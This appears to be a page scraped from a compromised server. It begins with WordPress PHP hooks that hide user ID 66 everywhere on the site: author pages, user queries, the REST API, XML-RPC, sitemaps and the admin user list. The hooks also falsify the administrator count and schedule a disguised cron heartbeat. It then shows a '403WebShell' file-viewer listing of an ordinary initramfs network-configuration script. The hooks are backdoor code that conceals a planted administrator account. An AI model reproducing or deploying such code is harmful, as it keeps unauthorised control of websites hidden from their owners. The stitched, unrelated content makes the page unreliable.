add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /usr/share/initramfs-tools/scripts/init-premount/cloud-initramfs-dyn-netconf
#!/bin/sh
set -e
set -f

PREREQS="udev"
case $1 in
	prereqs) echo "${PREREQS}"; exit 0;;
esac

. /scripts/functions

PATH=/usr/sbin:/usr/bin:/sbin:/bin

error() { echo "${0##*/}:" "$@" 1>&2; }
fail() { [ $# -eq 0 ] || error "$@"; exit 0; }
## this function ins taken and cleaned from configure_networking
find_nic_by_mac() {
		# look for devices with matching mac address, and set RET if found.
		local mac="$1" curmac="" device="" found=""
		case "$mac" in
			*[A-Z]*) mac=$(echo "$mac" | awk '{print(tolower($0))}')
		esac
		set +f
		for device in /sys/class/net/* ; do
			[ -f "$device/address" ] || continue
			read curmac < "$device/address" || continue
			[ "$curmac" = "$mac" ] && found="${device##*/}" && break
		done
		set -f
		[ -n "$found" ] && _RET=$found && return 0
		return 1
}

bootif2macaddr() {
	# bootif is specified as BOOTIF=01-${mac_address} with '-' rather than ':'
	local input="$1" tok oifs="$IFS"
	input=${input#??-}
	IFS="-"
	_RET=""
	for tok in $input; do
		_RET="${_RET}:${tok}"
	done
	IFS="$oifs"
	_RET=${_RET#:}
}

nic2bootif() {
	local nic="$1" macaddr="" tok="" oifs="$IFS"
	[ -f "/sys/class/net/$nic/address" ] || return 1
	read macaddr < "/sys/class/net/$nic/address"
	IFS=":"
	_RET="01"
	for tok in $macaddr; do
		_RET="${_RET}-${tok}"
	done
	IFS="$oifs"
}

read CMDLINE < /proc/cmdline

# if BOOTIF_DEFAULT was present on the kernel cmdline, but no BOOTIF was
# provided then we set BOOTIF based on the network device *name* in
# BOOTIF_DEFAULT (BOOTIF_DEFAULT=eth0).  This allows a pxe boot implementation
# without the ability or knowledge to specify IPAPPEND to function.
bootif_new=""
if [ -z "$BOOTIF" ]; then
	for tok in $CMDLINE; do
		case "$tok" in
			BOOTIF_DEFAULT=*)
				wait_for_udev 10
				nic2bootif "${tok#BOOTIF_DEFAULT=}" || {
					echo "WARNING: ${0##*/}: no device $tok"
					continue
				}
				BOOTIF=${_RET}
				bootif_new=${BOOTIF}
				;;
		esac
	done
fi

# if hostname= is on the cmdline and IP=="dhcp", then change IP to
#    ::::$hostname:BOOTIF:dhcp
# This allows old code that specified 'ip=dhcp' to still convince ipconfig to
# use a given hostname in dhcp request without requiring '::::$hostname:'.
# The '::::$hostname:' without a device name means "wait for all network
# devices".  If some are not plugged in, then it will hang for quite some time.
#
# This is really a specific kludge to deal with newer maas needing to operating
# with existing original images from 12.04.  Those images were not able to
# accept 'ip::::$hostname:BOOTIF' as they did not have this package installed.
if [ -n "$BOOTIF" -a "$IP" = "dhcp" ]; then
	for tok in $CMDLINE; do
		case "$tok" in
			hostname=*) IP="::::${tok#hostname=}:BOOTIF:dhcp"
		esac
	done
fi

# no IP or IP not containing BOOTIF means nothing to do
case $IP in
	*BOOTIF*) :;;
	*) exit 0
esac

[ -n "$BOOTIF" ] || fail "WARNING: IP='$IP' but no BOOTIF set!"

## we need to "fix" an IP= string that contains 'BOOTIF'
## to instead reference the actual interface.
wait_for_udev 10

bootif2macaddr "$BOOTIF" && [ -n "$_RET" ] ||
	fail "failed to convert BOOTIF='$BOOTIF'";
macaddr=${_RET}

find_nic_by_mac "$macaddr" && [ -n "$_RET" ] ||
	fail "did no find a nic with $macaddr"
devname=${_RET}

# now replace occurences of BOOTIF in $IP with $devname
cur="$IP"
while [ "${cur#*BOOTIF}" != "$cur" ]; do
   cur="${cur%%BOOTIF*}$devname${cur#*BOOTIF}"
done
new=$cur

# get the global variables IP and BOOTIF reset with updated values
{
	echo "IP='$new'"
	[ -z "$bootif_new" ] || echo "BOOTIF='${bootif_new}'"
} > /conf/param.conf

# vi: ts=4 noexpandtab

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